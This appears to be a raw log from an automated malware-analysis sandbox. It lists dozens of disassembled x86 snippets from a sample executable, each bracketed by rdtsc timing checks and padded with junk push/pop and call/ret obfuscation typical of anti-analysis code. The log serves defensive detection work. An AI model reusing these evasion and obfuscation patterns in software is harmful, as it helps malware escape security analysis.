Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFB40B second address: AFB49B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2785h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov ebx, dword ptr [ebp+122D274Ch] 0x00000011 push 00000000h 0x00000013 jno 00007F33751B277Ch 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F33751B2778h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 pushad 0x00000036 mov esi, dword ptr [ebp+122D29E5h] 0x0000003c mov eax, 6A190714h 0x00000041 popad 0x00000042 pushad 0x00000043 or dword ptr [ebp+122D1FF9h], esi 0x00000049 jmp 00007F33751B2785h 0x0000004e popad 0x0000004f xchg eax, esi 0x00000050 jmp 00007F33751B277Fh 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push esi 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFA547 second address: AFA5D6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F33751C23D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F33751C23D8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 push dword ptr fs:[00000000h] 0x00000030 sub bx, F8B9h 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c cmc 0x0000003d mov eax, dword ptr [ebp+122D088Dh] 0x00000043 push 00000000h 0x00000045 push eax 0x00000046 call 00007F33751C23D8h 0x0000004b pop eax 0x0000004c mov dword ptr [esp+04h], eax 0x00000050 add dword ptr [esp+04h], 00000017h 0x00000058 inc eax 0x00000059 push eax 0x0000005a ret 0x0000005b pop eax 0x0000005c ret 0x0000005d xor dword ptr [ebp+122D24DAh], ebx 0x00000063 push FFFFFFFFh 0x00000065 pushad 0x00000066 push edi 0x00000067 jmp 00007F33751C23E5h 0x0000006c pop edi 0x0000006d popad 0x0000006e push eax 0x0000006f pushad 0x00000070 push eax 0x00000071 push edx 0x00000072 js 00007F33751C23D6h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF9490 second address: AF9521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 pushad 0x0000000a sub edx, 707E3253h 0x00000010 push ecx 0x00000011 mov ebx, edx 0x00000013 pop ecx 0x00000014 popad 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F33751B2778h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000018h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 xor dword ptr [ebp+122D1E54h], eax 0x0000003c add di, 13E6h 0x00000041 mov dword ptr fs:[00000000h], esp 0x00000048 or bl, 0000005Ch 0x0000004b mov eax, dword ptr [ebp+122D12A5h] 0x00000051 push 00000000h 0x00000053 push edi 0x00000054 call 00007F33751B2778h 0x00000059 pop edi 0x0000005a mov dword ptr [esp+04h], edi 0x0000005e add dword ptr [esp+04h], 0000001Ah 0x00000066 inc edi 0x00000067 push edi 0x00000068 ret 0x00000069 pop edi 0x0000006a ret 0x0000006b push FFFFFFFFh 0x0000006d jnc 00007F33751B277Ah 0x00000073 add dword ptr [ebp+122D2709h], esi 0x00000079 nop 0x0000007a push esi 0x0000007b push eax 0x0000007c push edx 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFB49B second address: AFB4A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFA5D6 second address: AFA5DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF9521 second address: AF9525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFB4A0 second address: AFB4A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFD290 second address: AFD294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFC4FB second address: AFC4FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFE15F second address: AFE165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFD444 second address: AFD44A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFE165 second address: AFE169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFF1F2 second address: AFF1F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFF1F7 second address: AFF24D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F33751C23D8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 or bx, 14A3h 0x0000002b push 00000000h 0x0000002d mov bl, EBh 0x0000002f push 00000000h 0x00000031 or edi, dword ptr [ebp+122D2F4Bh] 0x00000037 xchg eax, esi 0x00000038 jc 00007F33751C23E8h 0x0000003e push eax 0x0000003f push edx 0x00000040 jl 00007F33751C23D6h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFF24D second address: AFF251 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B011FF second address: B01203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B01203 second address: B01209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B0234D second address: B02353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AFE3EA second address: AFE409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33751B2785h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B01393 second address: B013A5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F33751C23D8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B033E1 second address: B033FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33751B2784h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B04363 second address: B043ED instructions: 0x00000000 rdtsc 0x00000002 jno 00007F33751C23D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F33751C23D8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 jg 00007F33751C23DCh 0x0000002d mov bx, ax 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007F33751C23D8h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 00000018h 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c push 00000000h 0x0000004e push 00000000h 0x00000050 push esi 0x00000051 call 00007F33751C23D8h 0x00000056 pop esi 0x00000057 mov dword ptr [esp+04h], esi 0x0000005b add dword ptr [esp+04h], 00000019h 0x00000063 inc esi 0x00000064 push esi 0x00000065 ret 0x00000066 pop esi 0x00000067 ret 0x00000068 mov edi, dword ptr [ebp+122D28E5h] 0x0000006e push eax 0x0000006f push ebx 0x00000070 push ebx 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B0539A second address: B053A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F33751B2776h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B053A5 second address: B053AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B045D0 second address: B045F2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F33751B2787h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B045F2 second address: B045F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B0C6D9 second address: B0C722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jno 00007F33751B2778h 0x0000000b pushad 0x0000000c jmp 00007F33751B277Fh 0x00000011 pushad 0x00000012 popad 0x00000013 jp 00007F33751B2776h 0x00000019 jmp 00007F33751B2789h 0x0000001e popad 0x0000001f popad 0x00000020 pushad 0x00000021 je 00007F33751B277Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B0C722 second address: B0C743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33751C23E4h 0x00000009 pushad 0x0000000a jbe 00007F33751C23D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B0C743 second address: B0C749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B0DDEC second address: B0DDF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B0DDF0 second address: B0DDF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B0DDF6 second address: B0DE10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F33751C23E4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AA609E second address: AA60CB instructions: 0x00000000 rdtsc 0x00000002 je 00007F33751B2776h 0x00000008 jl 00007F33751B2776h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jg 00007F33751B2783h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a je 00007F33751B2776h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1163D second address: B11641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B11038 second address: B1103C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1103C second address: B11046 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F33751C23D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B11046 second address: B11072 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F33751B277Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F33751B2784h 0x0000000f jnp 00007F33751B2776h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B157E9 second address: B1581F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop ecx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jnc 00007F33751C23E2h 0x0000001c jo 00007F33751C23DCh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B15929 second address: B1595D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F33751B277Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F33751B2788h 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1595D second address: B15961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B15961 second address: B15967 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B15967 second address: B1596D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1596D second address: B1597E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1597E second address: B15983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B15A71 second address: B15AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F33751B277Fh 0x00000011 mov eax, dword ptr [eax] 0x00000013 jnc 00007F33751B277Eh 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jc 00007F33751B277Ch 0x00000025 ja 00007F33751B2776h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B15B71 second address: B15B77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B15B77 second address: B15B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1BA34 second address: B1BA38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1BA38 second address: B1BA46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F33751B2778h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1BA46 second address: B1BA70 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F33751C23D8h 0x00000008 jmp 00007F33751C23E8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1BA70 second address: B1BA74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1BA74 second address: B1BA78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1BA78 second address: B1BA7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1BA7E second address: B1BA8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F33751C23D6h 0x00000009 js 00007F33751C23D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1C01B second address: B1C06C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 jl 00007F33751B2776h 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop esi 0x00000012 pushad 0x00000013 jl 00007F33751B2776h 0x00000019 jmp 00007F33751B2787h 0x0000001e push edi 0x0000001f pop edi 0x00000020 jmp 00007F33751B2786h 0x00000025 popad 0x00000026 jg 00007F33751B277Ch 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1C3E4 second address: B1C3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1C3EB second address: B1C409 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2788h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1C409 second address: B1C40D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1C5BA second address: B1C5C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F33751B2776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF3CE1 second address: AF3CF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33751C23E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF3CF6 second address: AF3D04 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF3D04 second address: AF3D0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF3D0E second address: AF3D61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F33751B2778h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D1F13h], ebx 0x00000028 lea eax, dword ptr [ebp+12491A90h] 0x0000002e nop 0x0000002f jmp 00007F33751B2782h 0x00000034 push eax 0x00000035 pushad 0x00000036 push ebx 0x00000037 pushad 0x00000038 popad 0x00000039 pop ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c push ebx 0x0000003d pop ebx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF3D61 second address: AD48CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751C23E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b sub dword ptr [ebp+1245FE16h], ecx 0x00000011 add dword ptr [ebp+122D1E54h], edx 0x00000017 call dword ptr [ebp+122D354Bh] 0x0000001d pushad 0x0000001e push eax 0x0000001f pushad 0x00000020 popad 0x00000021 pushad 0x00000022 popad 0x00000023 pop eax 0x00000024 jp 00007F33751C23DEh 0x0000002a jnp 00007F33751C23D6h 0x00000030 pushad 0x00000031 popad 0x00000032 push eax 0x00000033 push edx 0x00000034 ja 00007F33751C23D6h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF4313 second address: AF433B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F33751B2783h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF433B second address: AF4340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF4409 second address: AF4413 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF4413 second address: AF4421 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF465F second address: AF467C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33751B2786h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF4EA2 second address: AF4EA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: AF4EA6 second address: AF4EB0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F33751B2776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B1FD65 second address: B1FD69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B203FF second address: B20411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007F33751B2776h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B22269 second address: B22278 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33751C23D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B22278 second address: B22284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F33751B2776h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	RDTSC instruction interceptor: First address: B2C16D second address: B2C171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
